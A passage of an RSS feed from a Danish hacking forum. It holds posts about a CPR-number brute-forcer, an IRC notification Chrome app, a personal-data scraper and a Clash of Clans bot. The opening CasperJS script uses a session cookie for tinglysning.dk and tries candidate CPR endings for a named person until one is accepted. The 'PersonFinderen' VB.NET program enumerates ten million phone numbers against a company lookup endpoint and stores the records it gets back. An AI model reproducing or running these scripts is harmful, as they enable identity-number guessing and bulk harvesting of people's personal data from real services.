  numberMatchesGender: function(number, gender) {<br />
    if((number % 2 == 1) &amp;&amp; gender=="male") return true;<br />
    if((number % 2 == 0) &amp;&amp; gender=="female") return true;<br />
    return false;<br />
  },<br />
<br />
  padNumber: function(n, width, z) {<br />
    z = z || '0';<br />
    n = n + '';<br />
    return n.length &gt;= width ? n : new Array(width - n.length + 1).join(z) + n;<br />
  },<br />
};<br />
<br />
var colorizer = require('colorizer').create('Colorizer');<br />
var cprList = cprCalc.possibleLastFour(person.gender, person.birthYear, person.birthMonth, person.birthDay);<br />
var i = 0;<br />
casper.options.viewportSize = {width: 1600, height: 950};<br />
phantom.addCookie({<br />
domain: 'www.tinglysning.dk',<br />
    name: 'TDK_JSESSIONID',<br />
    value: TDK_JSESSIONID<br />
});<br />
<br />
casper.start(url);<br />
casper.label( "LOOP_START" );<br />
casper.waitForSelector('.container-content');<br />
casper.then(function() {<br />
this.fillSelectors('.container-content', {<br />
        'input[id="content:subform:opretfuldmagt:meddelelseshaverCprnummer"]': person.birthDay+person.birthMonth+person.birthYear[2]+person.birthYear[3]+"-"+cprList[i],<br />
        'input[id="content:subform:opretfuldmagt:meddelelseshaverMatchNavn"]': person.fullName,<br />
    }, false);<br />
    this.clickLabel('Opdater', 'button');<br />
})<br />
casper.then(function() {<br />
if (this.exists('li.infomessage')) {<br />
        console.log(colorizer.colorize(person.birthDay+person.birthMonth+person.birthYear[2]+person.birthYear[3]+'-'+cprList[i]+' - Forkert', 'ERROR'));<br />
        this.goto( "LOOP_START" );<br />
        i++;<br />
    } else {<br />
    console.log(colorizer.colorize(person.birthDay+person.birthMonth+person.birthYear[2]+person.birthYear[3]+'-'+cprList[i]+' - Korrekt', 'INFO'));<br />
    }<br />
});<br />
casper.then(function() {<br />
    casper.wait(5000);<br />
});<br />
casper.run();</code></pre>
<span style="font-size: small;" class="mycode_size"><span style="font-family: Verdana, Arial, sans-serif;" class="mycode_font"></div></div></span></span>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[IRC bot | Javascript | Chrome Application]]></title>
			<link>https://www.shellsec.pw/traad-irc-bot-javascript-chrome-application</link>
			<pubDate>Thu, 19 May 2016 20:59:36 +0200</pubDate>
			<guid isPermaLink="false">https://www.shellsec.pw/traad-irc-bot-javascript-chrome-application</guid>
			<description><![CDATA[Hej alle!<br />
<br />
Jeg skrev denne IRC bot for et stykke tid siden, da jeg gerne ville have en desktop notification hver gang, der var nogen der skrev i vores IRC servers #feed kanal.<br />
Den har virket fint indtil videre for mig, dog er det irriterende at åbne for appen hver gang, i stedet for at det kører som en Chrome extension.<br />
<br />
Grunden til at det kører som en Chrome App og ikke extension, er fordi du kun kan give rettigheder til sockets (ikke websockets) i Chrome Apps. Jeg havde tænkt mig at sætte en simpel Python server op, der havde en helt normal IRC bot på, men som man kunne forbinde til via websockets. På den måde, kan man nemlig lave det i en extension og have den til at køre i baggrunden hele tiden. Tiden løb sgu fra mig, så har ikke tid til at lave det nu.<br />
<br />
<span style="color: #2ea2e8;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">Nyttigt information</span></span><br />
Hvis du skal sætte denne bot til andre IRC servere, skal du finde en anden port en IRCs default 6667 port. Du får i hvert fald (i Chrome) denne fejl:<br />
<div class="codeblock"><div class="title">Kode:</div><div class="body" dir="ltr"><code>Uncaught DOMException: Failed to construct 'WebSocket': The port 6667 is not allowed</code></div></div>Og det gør man med mange, mange andre porte også. Lidt synd, men sådan er det vel. <br />
<br />
Hvis du selv vil bruge dette til irc.shellsec.pw serveren, er den perfekt til det formål. Dog ville jeg have lavet en ordentlig "parser" (eller hvad man vil kalde det), som passer lidt bedre til IRCs måde at vise beskeder på. Dog smed jeg det bare ind så det virkede.<br />
<br />
Skal du bruge den til en anden server, skal du nok også liiiige lave ping pong ordentligt. Lige nu svarer den bare med "PONG :irc.shellsec.pw", da det er det eneste man modtager som PING.<br />
<br />
Jeg har valideret den umiddelbart, så man ikke bare kan lave en ny tråd der hedder 'alert(123);' og det så bliver executed.. Mener jeg. Who knows. Det virkede ikke for mig, men prøv gerne.<br />
<br />
<span style="color: #2ea2e8;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">manifest.json</span></span><br />
<div><div class="spoiler_header">Spoiler <a href="javascript:void(0);" onclick="javascript:if(parentNode.parentNode.getElementsByTagName('div')[1].style.display=='block'){parentNode.parentNode.getElementsByTagName('div')[1].style.display='none';this.innerHTML='(Click to View)';}else {parentNode.parentNode.getElementsByTagName('div')[1].style.display='block';this.innerHTML='(Click to Hide)';}">(Click to View)</a></div><div class="spoiler_body" style="display: none;">
<pre class="line-numbers"><code class="language-javascript">{<br />
   "name": "IRC bot til ShellSec",<br />
   "description": "Denne app laver desktop notifikationer fra IRCens #feed kanal",<br />
   "manifest_version": 2,<br />
   "version": "1.0",<br />
   "icons": { <br />
       "128": "icon.png" <br />
   },<br />
   "sockets": {<br />
       "tcp": {<br />
           "connect": "irc.shellsec.pw:7994"<br />
       },<br />
       "tcpServer": {<br />
           "connect": "irc.shellsec.pw:7994"<br />
       }<br />
   },<br />
   "permissions": [<br />
        "app.window",<br />
        "notifications"<br />
    ],<br />
   "app": {<br />
       "background": {<br />
           "scripts": ["background.js"]<br />
       }<br />
   }<br />
}<br />
</code></pre></div></div>
<br />
<span style="color: #2ea2e8;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">background.js</span></span><br />
<div><div class="spoiler_header">Spoiler <a href="javascript:void(0);" onclick="javascript:if(parentNode.parentNode.getElementsByTagName('div')[1].style.display=='block'){parentNode.parentNode.getElementsByTagName('div')[1].style.display='none';this.innerHTML='(Click to View)';}else {parentNode.parentNode.getElementsByTagName('div')[1].style.display='block';this.innerHTML='(Click to Hide)';}">(Click to View)</a></div><div class="spoiler_body" style="display: none;">
<pre class="line-numbers"><code class="language-javascript">var host = "irc.shellsec.pw";<br />
var nick = "AshBOT";<br />
var ident = nick;<br />
var channel = "feed";<br />
var socketId;<br />
<br />
document.addEventListener('DOMContentLoaded', function () {<br />
   if (Notification.permission !== "granted") Notification.requestPermission();<br />
});<br />
<br />
function notify(name, message) {<br />
   if(name == "Shellsec") {<br />
       var url = "http://shellsec.pw/";<br />
       try {<br />
           var array = message.split(":");<br />
           url = array[array.length - 2] + ":" + array[array.length - 1];<br />
       } catch(err) {<br />
           console.log("URL Error: " + err);<br />
       }<br />
       if (!Notification) {<br />
           console.log('Desktop notifications not available in your browser.');<br />
           return;<br />
       }<br />
       if (Notification.permission !== "granted") Notification.requestPermission();<br />
       else {<br />
           var notification = new Notification('Ny besked fra ' + name, {<br />
               icon: 'https://cdn.shellsec.pw/images/fb-thumb.png', <br />
               body: message<br />
           });<br />
           notification.onclick = function () {<br />
               window.open(url);<br />
               notification.close();<br />
           };<br />
       }<br />
   }<br />
}<br />
<br />
//Credit to whoever created this arraybuffer to string method<br />
function ab2str(buffer) {<br />
   return String.fromCharCode.apply(null, new Uint8Array(buffer));<br />
}<br />
<br />
//Credit to whoever created this string to arraybuffer<br />
function str2ab(str) {<br />
   var buf = new ArrayBuffer(str.length);<br />
   var bufView = new Uint8Array(buf);<br />
   for (var i = 0, strLen = str.length; i &lt; strLen; i++) {<br />
       bufView[i] = str.charCodeAt(i);<br />
   }<br />
   return buf;<br />
}<br />
<br />
function send(message) {<br />
   message = unescape(encodeURIComponent(message));<br />
   chrome.sockets.tcp.send(socketId, str2ab(message + "\r\n"), function (info) {<br />
       return info;<br />
   });<br />
}<br />
<br />
chrome.sockets.tcp.create({}, function (createInfo) {<br />
   socketId = createInfo.socketId;<br />
   var commands = ["USER " + ident + " " + ident + " " + ident + " " + ident, "NICK " + nick, "JOIN #" + channel];<br />
   chrome.sockets.tcp.connect(socketId, "irc.shellsec.pw", 7994, function (callback) {<br />
       setTimeout(function () {<br />
           for (i = 0; i &lt; commands.length; i++) {<br />
               console.log(JSON.stringify(send(commands[i])));<br />
           }<br />
       }, 1000);<br />
   });<br />
   chrome.sockets.tcp.onReceive.addListener(function (info) {<br />
       var message = decodeURIComponent(escape(ab2str(info.data)));<br />
       if (message.indexOf("PRIVMSG") &gt;= 1) {<br />
           console.log("Message received!");<br />
           var name = /:(.*?)!/.exec(message)[1];<br />
           var message = (new RegExp("PRIVMSG #" + channel + " :(.*)")).exec(message)[1];<br />
           notify(name, message);<br />
       }<br />
       if (info.socketId != socketId) {<br />
           return;<br />
       }<br />
       if (message.trim() == "PING :irc.shellsec.pw") {<br />
           send("PONG :irc.shellsec.pw");<br />
           console.log("PONG SENT");<br />
       }<br />
   });<br />
});<br />
<br />
</code></pre></div></div>
<br />
<span style="color: #2ea2e8;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">icon.png</span></span><br />
<a href="http://i.imgur.com/sCWrQyo.png" target="_blank" rel="noopener" class="mycode_url">http://i.imgur.com/sCWrQyo.png</a><br />
<br />
icon.png er bare et random billede jeg fandt. Erstat den gerne.<br />
<br />
Hvis I har brug for mere information, så kan I bare spørge. Skal med glæde svare og hjælpe jer med det her.<br />
<br />
Oh og installation foregår simpelt nok:<br />
Smid alle 3 filer ind i en mappe. Navndøb dem som der står skrevet. Pak derefter MAPPEN ind i en zip-fil. Åbn chrome://extensions/ og slå developer mode til, så burde du kunne dragge zip-filen derind.]]></description>
			<content:encoded><![CDATA[Hej alle!<br />
<br />
Jeg skrev denne IRC bot for et stykke tid siden, da jeg gerne ville have en desktop notification hver gang, der var nogen der skrev i vores IRC servers #feed kanal.<br />
Den har virket fint indtil videre for mig, dog er det irriterende at åbne for appen hver gang, i stedet for at det kører som en Chrome extension.<br />
<br />
Grunden til at det kører som en Chrome App og ikke extension, er fordi du kun kan give rettigheder til sockets (ikke websockets) i Chrome Apps. Jeg havde tænkt mig at sætte en simpel Python server op, der havde en helt normal IRC bot på, men som man kunne forbinde til via websockets. På den måde, kan man nemlig lave det i en extension og have den til at køre i baggrunden hele tiden. Tiden løb sgu fra mig, så har ikke tid til at lave det nu.<br />
<br />
<span style="color: #2ea2e8;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">Nyttigt information</span></span><br />
Hvis du skal sætte denne bot til andre IRC servere, skal du finde en anden port en IRCs default 6667 port. Du får i hvert fald (i Chrome) denne fejl:<br />
<div class="codeblock"><div class="title">Kode:</div><div class="body" dir="ltr"><code>Uncaught DOMException: Failed to construct 'WebSocket': The port 6667 is not allowed</code></div></div>Og det gør man med mange, mange andre porte også. Lidt synd, men sådan er det vel. <br />
<br />
Hvis du selv vil bruge dette til irc.shellsec.pw serveren, er den perfekt til det formål. Dog ville jeg have lavet en ordentlig "parser" (eller hvad man vil kalde det), som passer lidt bedre til IRCs måde at vise beskeder på. Dog smed jeg det bare ind så det virkede.<br />
<br />
Skal du bruge den til en anden server, skal du nok også liiiige lave ping pong ordentligt. Lige nu svarer den bare med "PONG :irc.shellsec.pw", da det er det eneste man modtager som PING.<br />
<br />
Jeg har valideret den umiddelbart, så man ikke bare kan lave en ny tråd der hedder 'alert(123);' og det så bliver executed.. Mener jeg. Who knows. Det virkede ikke for mig, men prøv gerne.<br />
<br />
<span style="color: #2ea2e8;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">manifest.json</span></span><br />
<div><div class="spoiler_header">Spoiler <a href="javascript:void(0);" onclick="javascript:if(parentNode.parentNode.getElementsByTagName('div')[1].style.display=='block'){parentNode.parentNode.getElementsByTagName('div')[1].style.display='none';this.innerHTML='(Click to View)';}else {parentNode.parentNode.getElementsByTagName('div')[1].style.display='block';this.innerHTML='(Click to Hide)';}">(Click to View)</a></div><div class="spoiler_body" style="display: none;">
<pre class="line-numbers"><code class="language-javascript">{<br />
   "name": "IRC bot til ShellSec",<br />
   "description": "Denne app laver desktop notifikationer fra IRCens #feed kanal",<br />
   "manifest_version": 2,<br />
   "version": "1.0",<br />
   "icons": { <br />
       "128": "icon.png" <br />
   },<br />
   "sockets": {<br />
       "tcp": {<br />
           "connect": "irc.shellsec.pw:7994"<br />
       },<br />
       "tcpServer": {<br />
           "connect": "irc.shellsec.pw:7994"<br />
       }<br />
   },<br />
   "permissions": [<br />
        "app.window",<br />
        "notifications"<br />
    ],<br />
   "app": {<br />
       "background": {<br />
           "scripts": ["background.js"]<br />
       }<br />
   }<br />
}<br />
</code></pre></div></div>
<br />
<span style="color: #2ea2e8;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">background.js</span></span><br />
<div><div class="spoiler_header">Spoiler <a href="javascript:void(0);" onclick="javascript:if(parentNode.parentNode.getElementsByTagName('div')[1].style.display=='block'){parentNode.parentNode.getElementsByTagName('div')[1].style.display='none';this.innerHTML='(Click to View)';}else {parentNode.parentNode.getElementsByTagName('div')[1].style.display='block';this.innerHTML='(Click to Hide)';}">(Click to View)</a></div><div class="spoiler_body" style="display: none;">
<pre class="line-numbers"><code class="language-javascript">var host = "irc.shellsec.pw";<br />
var nick = "AshBOT";<br />
var ident = nick;<br />
var channel = "feed";<br />
var socketId;<br />
<br />
document.addEventListener('DOMContentLoaded', function () {<br />
   if (Notification.permission !== "granted") Notification.requestPermission();<br />
});<br />
<br />
function notify(name, message) {<br />
   if(name == "Shellsec") {<br />
       var url = "http://shellsec.pw/";<br />
       try {<br />
           var array = message.split(":");<br />
           url = array[array.length - 2] + ":" + array[array.length - 1];<br />
       } catch(err) {<br />
           console.log("URL Error: " + err);<br />
       }<br />
       if (!Notification) {<br />
           console.log('Desktop notifications not available in your browser.');<br />
           return;<br />
       }<br />
       if (Notification.permission !== "granted") Notification.requestPermission();<br />
       else {<br />
           var notification = new Notification('Ny besked fra ' + name, {<br />
               icon: 'https://cdn.shellsec.pw/images/fb-thumb.png', <br />
               body: message<br />
           });<br />
           notification.onclick = function () {<br />
               window.open(url);<br />
               notification.close();<br />
           };<br />
       }<br />
   }<br />
}<br />
<br />
//Credit to whoever created this arraybuffer to string method<br />
function ab2str(buffer) {<br />
   return String.fromCharCode.apply(null, new Uint8Array(buffer));<br />
}<br />
<br />
//Credit to whoever created this string to arraybuffer<br />
function str2ab(str) {<br />
   var buf = new ArrayBuffer(str.length);<br />
   var bufView = new Uint8Array(buf);<br />
   for (var i = 0, strLen = str.length; i &lt; strLen; i++) {<br />
       bufView[i] = str.charCodeAt(i);<br />
   }<br />
   return buf;<br />
}<br />
<br />
function send(message) {<br />
   message = unescape(encodeURIComponent(message));<br />
   chrome.sockets.tcp.send(socketId, str2ab(message + "\r\n"), function (info) {<br />
       return info;<br />
   });<br />
}<br />
<br />
chrome.sockets.tcp.create({}, function (createInfo) {<br />
   socketId = createInfo.socketId;<br />
   var commands = ["USER " + ident + " " + ident + " " + ident + " " + ident, "NICK " + nick, "JOIN #" + channel];<br />
   chrome.sockets.tcp.connect(socketId, "irc.shellsec.pw", 7994, function (callback) {<br />
       setTimeout(function () {<br />
           for (i = 0; i &lt; commands.length; i++) {<br />
               console.log(JSON.stringify(send(commands[i])));<br />
           }<br />
       }, 1000);<br />
   });<br />
   chrome.sockets.tcp.onReceive.addListener(function (info) {<br />
       var message = decodeURIComponent(escape(ab2str(info.data)));<br />
       if (message.indexOf("PRIVMSG") &gt;= 1) {<br />
           console.log("Message received!");<br />
           var name = /:(.*?)!/.exec(message)[1];<br />
           var message = (new RegExp("PRIVMSG #" + channel + " :(.*)")).exec(message)[1];<br />
           notify(name, message);<br />
       }<br />
       if (info.socketId != socketId) {<br />
           return;<br />
       }<br />
       if (message.trim() == "PING :irc.shellsec.pw") {<br />
           send("PONG :irc.shellsec.pw");<br />
           console.log("PONG SENT");<br />
       }<br />
   });<br />
});<br />
<br />
</code></pre></div></div>
<br />
<span style="color: #2ea2e8;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">icon.png</span></span><br />
<a href="http://i.imgur.com/sCWrQyo.png" target="_blank" rel="noopener" class="mycode_url">http://i.imgur.com/sCWrQyo.png</a><br />
<br />
icon.png er bare et random billede jeg fandt. Erstat den gerne.<br />
<br />
Hvis I har brug for mere information, så kan I bare spørge. Skal med glæde svare og hjælpe jer med det her.<br />
<br />
Oh og installation foregår simpelt nok:<br />
Smid alle 3 filer ind i en mappe. Navndøb dem som der står skrevet. Pak derefter MAPPEN ind i en zip-fil. Åbn chrome://extensions/ og slå developer mode til, så burde du kunne dragge zip-filen derind.]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[PersonFinderen - API skraber program | Kode inkluderet]]></title>
			<link>https://www.shellsec.pw/traad-personfinderen-api-skraber-program-kode</link>
			<pubDate>Wed, 18 May 2016 20:58:17 +0200</pubDate>
			<guid isPermaLink="false">https://www.shellsec.pw/traad-personfinderen-api-skraber-program-kode</guid>
			<description><![CDATA[<div style="text-align: center;" class="mycode_align"><span style="font-weight: bold;" class="mycode_b"><span style="font-family: Arial Black;" class="mycode_font"><img src="https://cdn.shellsec.pw/uploads/avatars/avatar_2079.gif" alt="[Billede: avatar_2079.gif]" class="mycode_img" /><br />
Person<span style="color: #ff3333;" class="mycode_color">Finderen</span> - v1</span><br />
</span></div>
<div style="text-align: center;" class="mycode_align">PersonFinderen er et redskab som jeg har programmeret for at lære min lillebror et simplet sprog som vb.net.</div>
<div style="text-align: center;" class="mycode_align">Selve projektet kan bruges til at skrabe andre apier ligende ellers kan koden let modificeres til at skrabe andre API'er.</div>
<br />
<div style="text-align: center;" class="mycode_align"><span style="font-weight: bold;" class="mycode_b">Program instrukser:<br />
</span>Lav en folder i C:\ som hedder "PSFR" og gå så ind i folderen "PSFR" og lav et tekst dokument som hedder list.txt</div>
<br />
<div style="text-align: center;" class="mycode_align"><span style="font-weight: bold;" class="mycode_b">Eksempel:</span> <span style="color: #993333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">C:\PSFR\list.txt</span></span></div>
<br />
<div style="text-align: center;" class="mycode_align">- tip: Alle skrabede personer ryger ind i list.txt</div>
<br />
<div style="text-align: center;" class="mycode_align"><span style="font-weight: bold;" class="mycode_b">Du kan download mit program her:</span></div>
<div style="text-align: center;" class="mycode_align"><span style="font-style: italic;" class="mycode_i">DOWNLOAD: <a href="http://updo.nl/file/8c328ddd.exe" target="_blank" rel="noopener" class="mycode_url">PersonFinder.exe</a><br />
(uploaded til updo.nl)<br />
</span></div>
<div style="text-align: center;" class="mycode_align"><span style="font-weight: bold;" class="mycode_b">VirusTotal:</span> <a href="https://virustotal.com/da/file/8881689362ba41719ce58c6679be245a95ae0af9fc8e105b565ff3474f61cdc8/analysis/1463597535/" target="_blank" rel="noopener" class="mycode_url">https://virustotal.com/da/file/888168936...463597535/</a></div>
<br />
<div style="text-align: center;" class="mycode_align"><span style="font-weight: bold;" class="mycode_b">SHA256:</span> 8881689362ba41719ce58c6679be245a95ae0af9fc8e105b565ff3474f61cdc8 </div>
<div style="text-align: center;" class="mycode_align"><span style="font-weight: bold;" class="mycode_b">Filnavn:</span> PersonFinder.exe</div>
<div style="text-align: center;" class="mycode_align"><span style="font-weight: bold;" class="mycode_b">Opdagelses forhold:</span> 1 / 55 </div>
<br />
<div style="text-align: center;" class="mycode_align"><span style="font-weight: bold;" class="mycode_b">Kildekode:<br />
</span></div>
<div style="text-align: center;" class="mycode_align"><div style="text-align: left;" class="mycode_align"><div><div class="spoiler_header">Spoiler <a href="javascript:void(0);" onclick="javascript:if(parentNode.parentNode.getElementsByTagName('div')[1].style.display=='block'){parentNode.parentNode.getElementsByTagName('div')[1].style.display='none';this.innerHTML='(Click to View)';}else {parentNode.parentNode.getElementsByTagName('div')[1].style.display='block';this.innerHTML='(Click to Hide)';}">(Click to View)</a></div><div class="spoiler_body" style="display: none;"><pre class="line-numbers"><code class="language-php">Imports System.Net<br />
Imports System.IO <br />
Imports System.Text<br />
Module Module1<br />
    'Skrevet af Jstraif @ shellsec.pw<br />
    'Bruger reklamation.fk.dk linket<br />
    Sub Main()<br />
        Dim intInput As Integer = 0<br />
        Do<br />
            Integer.TryParse(Menu, intInput)<br />
            Select Case intInput<br />
                Case 1<br />
                    Console.Title = "Person Finder v1 - Person scanner"<br />
                    Dim range_start = 31209000<br />
                    Dim range_exit = 31209000 + 10000000<br />
                    Dim wc As New WebClient()<br />
                    For x As Integer = range_start To range_exit<br />
                        Dim stringtemp = wc.DownloadString("http://reklamation.fk.dk/fk_reklamation/DataServlet?do=tlflookup&amp;firmanr=7&amp;lang=da&amp;telefonnr=" &amp; x)<br />
                        If stringtemp &lt;&gt; "" Then<br />
                            Console.Write(stringtemp)<br />
                            Dim write As StringBuilder = New StringBuilder()<br />
                            write.AppendLine(stringtemp)<br />
                            File.AppendAllText("C:\PSFR\list.txt", write.ToString()) 'gemmer til listen<br />
                            write.Length = 0<br />
                        End If<br />
                    Next<br />
                    Exit Select<br />
                Case 2<br />
                    Exit Sub<br />
            End Select<br />
        Loop<br />
    End Sub<br />
    Function Menu() As Char<br />
        Console.Clear()<br />
        Console.Title = "Person Finder v1 - Menu"<br />
        Console.WriteLine("")<br />
        Console.WriteLine("Person Finderen v1")<br />
        Console.WriteLine("==========================")<br />
        Console.WriteLine("1. Skrab Personliste")<br />
        Console.WriteLine("2. Luk Application" &amp; vbNewLine)<br />
        Console.WriteLine("==========================")<br />
        Console.WriteLine("Tryk en kommando:")<br />
        Dim s As ConsoleKeyInfo = Console.ReadKey<br />
        Return s.KeyChar<br />
    End Function<br />
End Module<br />
</code></pre></div></div></div></div>
<br />
Jeg håber i synse det er et sejt første post. Det er ihvertifald noget som jeg lavede for min lillebror for at lære ham lidt.<br />
<br />
<img src="http://i.imgur.com/R17KcGb.pnghttp://" alt="[Billede: R17KcGb.pnghttp:]" class="mycode_img" />]]></description>
			<content:encoded><![CDATA[<div style="text-align: center;" class="mycode_align"><span style="font-weight: bold;" class="mycode_b"><span style="font-family: Arial Black;" class="mycode_font"><img src="https://cdn.shellsec.pw/uploads/avatars/avatar_2079.gif" alt="[Billede: avatar_2079.gif]" class="mycode_img" /><br />
Person<span style="color: #ff3333;" class="mycode_color">Finderen</span> - v1</span><br />
</span></div>
<div style="text-align: center;" class="mycode_align">PersonFinderen er et redskab som jeg har programmeret for at lære min lillebror et simplet sprog som vb.net.</div>
<div style="text-align: center;" class="mycode_align">Selve projektet kan bruges til at skrabe andre apier ligende ellers kan koden let modificeres til at skrabe andre API'er.</div>
<br />
<div style="text-align: center;" class="mycode_align"><span style="font-weight: bold;" class="mycode_b">Program instrukser:<br />
</span>Lav en folder i C:\ som hedder "PSFR" og gå så ind i folderen "PSFR" og lav et tekst dokument som hedder list.txt</div>
<br />
<div style="text-align: center;" class="mycode_align"><span style="font-weight: bold;" class="mycode_b">Eksempel:</span> <span style="color: #993333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">C:\PSFR\list.txt</span></span></div>
<br />
<div style="text-align: center;" class="mycode_align">- tip: Alle skrabede personer ryger ind i list.txt</div>
<br />
<div style="text-align: center;" class="mycode_align"><span style="font-weight: bold;" class="mycode_b">Du kan download mit program her:</span></div>
<div style="text-align: center;" class="mycode_align"><span style="font-style: italic;" class="mycode_i">DOWNLOAD: <a href="http://updo.nl/file/8c328ddd.exe" target="_blank" rel="noopener" class="mycode_url">PersonFinder.exe</a><br />
(uploaded til updo.nl)<br />
</span></div>
<div style="text-align: center;" class="mycode_align"><span style="font-weight: bold;" class="mycode_b">VirusTotal:</span> <a href="https://virustotal.com/da/file/8881689362ba41719ce58c6679be245a95ae0af9fc8e105b565ff3474f61cdc8/analysis/1463597535/" target="_blank" rel="noopener" class="mycode_url">https://virustotal.com/da/file/888168936...463597535/</a></div>
<br />
<div style="text-align: center;" class="mycode_align"><span style="font-weight: bold;" class="mycode_b">SHA256:</span> 8881689362ba41719ce58c6679be245a95ae0af9fc8e105b565ff3474f61cdc8 </div>
<div style="text-align: center;" class="mycode_align"><span style="font-weight: bold;" class="mycode_b">Filnavn:</span> PersonFinder.exe</div>
<div style="text-align: center;" class="mycode_align"><span style="font-weight: bold;" class="mycode_b">Opdagelses forhold:</span> 1 / 55 </div>
<br />
<div style="text-align: center;" class="mycode_align"><span style="font-weight: bold;" class="mycode_b">Kildekode:<br />
</span></div>
<div style="text-align: center;" class="mycode_align"><div style="text-align: left;" class="mycode_align"><div><div class="spoiler_header">Spoiler <a href="javascript:void(0);" onclick="javascript:if(parentNode.parentNode.getElementsByTagName('div')[1].style.display=='block'){parentNode.parentNode.getElementsByTagName('div')[1].style.display='none';this.innerHTML='(Click to View)';}else {parentNode.parentNode.getElementsByTagName('div')[1].style.display='block';this.innerHTML='(Click to Hide)';}">(Click to View)</a></div><div class="spoiler_body" style="display: none;"><pre class="line-numbers"><code class="language-php">Imports System.Net<br />
Imports System.IO <br />
Imports System.Text<br />
Module Module1<br />
    'Skrevet af Jstraif @ shellsec.pw<br />
    'Bruger reklamation.fk.dk linket<br />
    Sub Main()<br />
        Dim intInput As Integer = 0<br />
        Do<br />
            Integer.TryParse(Menu, intInput)<br />
            Select Case intInput<br />
                Case 1<br />
                    Console.Title = "Person Finder v1 - Person scanner"<br />
                    Dim range_start = 31209000<br />
                    Dim range_exit = 31209000 + 10000000<br />
                    Dim wc As New WebClient()<br />
                    For x As Integer = range_start To range_exit<br />
                        Dim stringtemp = wc.DownloadString("http://reklamation.fk.dk/fk_reklamation/DataServlet?do=tlflookup&amp;firmanr=7&amp;lang=da&amp;telefonnr=" &amp; x)<br />
                        If stringtemp &lt;&gt; "" Then<br />
                            Console.Write(stringtemp)<br />
                            Dim write As StringBuilder = New StringBuilder()<br />
                            write.AppendLine(stringtemp)<br />
                            File.AppendAllText("C:\PSFR\list.txt", write.ToString()) 'gemmer til listen<br />
                            write.Length = 0<br />
                        End If<br />
                    Next<br />
                    Exit Select<br />
                Case 2<br />
                    Exit Sub<br />
            End Select<br />
        Loop<br />
    End Sub<br />
    Function Menu() As Char<br />
        Console.Clear()<br />
        Console.Title = "Person Finder v1 - Menu"<br />
        Console.WriteLine("")<br />
        Console.WriteLine("Person Finderen v1")<br />
        Console.WriteLine("==========================")<br />
        Console.WriteLine("1. Skrab Personliste")<br />
        Console.WriteLine("2. Luk Application" &amp; vbNewLine)<br />
        Console.WriteLine("==========================")<br />
        Console.WriteLine("Tryk en kommando:")<br />
        Dim s As ConsoleKeyInfo = Console.ReadKey<br />
        Return s.KeyChar<br />
    End Function<br />
End Module<br />
</code></pre></div></div></div></div>
<br />
Jeg håber i synse det er et sejt første post. Det er ihvertifald noget som jeg lavede for min lillebror for at lære ham lidt.<br />
<br />
<img src="http://i.imgur.com/R17KcGb.pnghttp://" alt="[Billede: R17KcGb.pnghttp:]" class="mycode_img" />]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[MyBot.run - v4.0 - Virker efter opdateringen! OPEN SOURCE!]]></title>
			<link>https://www.shellsec.pw/traad-mybot-run-v4-0-virker-efter-opdateringen</link>
			<pubDate>Tue, 07 Jul 2015 22:13:28 +0200</pubDate>
			<guid isPermaLink="false">https://www.shellsec.pw/traad-mybot-run-v4-0-virker-efter-opdateringen</guid>
			<description><![CDATA[UPDATE: Den nye side hedder: <a href="https://mybot.run/" target="_blank" rel="noopener" class="mycode_url">https://mybot.run/</a><br />
<br />
Der er lavet en officiel forklaring inde på siden om, hvad der er sket!<br />
<br />
<span style="font-weight: bold;" class="mycode_b">Det er en bot til Clash of Clans! Den er gratis og open source :)<br />
</span><br />
<br />
Funktioner:<br />
<br />
<img src="https://i.imgur.com/QU8KwPK.gif" alt="[Billede: QU8KwPK.gif]" class="mycode_img" /><br />
<br />
Resten kommer til at foregå på Engelsk, da jeg ikke orker at oversætte det hele. Det er bare changelog osv.<br />
<br />
<hr class="mycode_hr" />
<span style="font-size: large;" class="mycode_size">Introduction:</span><br />
<br />
<br />
We have been working on the new version but with the major update from SC in  last week, we had to speed up the process. The new version introduces several changes in image search method, recognition of troops and letters. We try to add new features and wanted add more but the we had a lots of work with coordinates and pixel from new Update. Our priority was stabilize bot with the new features for the new update , giving to our moderators and contributors the possibility to see the process an collaborate with us directly, and they can release now and fast the Merged/Modded versions.<br />
<br />
<br />
<hr class="mycode_hr" />
<span style="font-size: large;" class="mycode_size">Essential software :</span><br />
<br />
<span style="color: #6633ff;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">READ this before installing the new bot :</span></span><ul class="mycode_list"><li>Windows Vista/7/8/8.1<br />
</li>
<li><a href="https://www.microsoft.com/en-sg/download/details.aspx?id=5555" target="_blank" rel="noopener" class="mycode_url">Microsoft Visual C++ 2010 Redistributable Package (x86)</a><br />
</li>
<li><a href="https://www.microsoft.com/da-dk/download/details.aspx?id=30653" target="_blank" rel="noopener" class="mycode_url">Microsoft .NET Framework 4.5</a><br />
</li>
<li><a href="https://gamebot.org/forums/thread-2686.html" target="_blank" rel="noopener" class="mycode_url">BlueStacks App Player 0.9.24.5311 Superuser BSEasy ROOT</a> by @swvr (Recommended)<br />
</li>
<li><a href="https://gamebot.org/forums/thread-538.html" target="_blank" rel="noopener" class="mycode_url">Windows registry 860x720</a><br />
</li>
<li>Clash Of Games Bot v4<br />
</li>
<li>DON´T USE THE OLD CONFIG FILES<br />
</li>
</ul>
<br />
<hr class="mycode_hr" />
<span style="font-size: large;" class="mycode_size"><span style="color: #6666ff;" class="mycode_color">Changelog:</span></span><br />
<ul class="mycode_list"><li>
<span style="font-size: large;" class="mycode_size"><span style="color: #6666ff;" class="mycode_color">LOG TAB</span></span><br />
</li>
<li>New attack log<br />
</li>
<li>Make a photo of your village<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="color: #6666ff;" class="mycode_color">TROOPS TAB</span></span><br />
</li>
<li>Use barracks mode with dark barrack troops custom army<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="color: #6666ff;" class="mycode_color">SEARCH TAB</span></span><br />
</li>
<li>Dual search tab, livebase and deadbase<br />
</li>
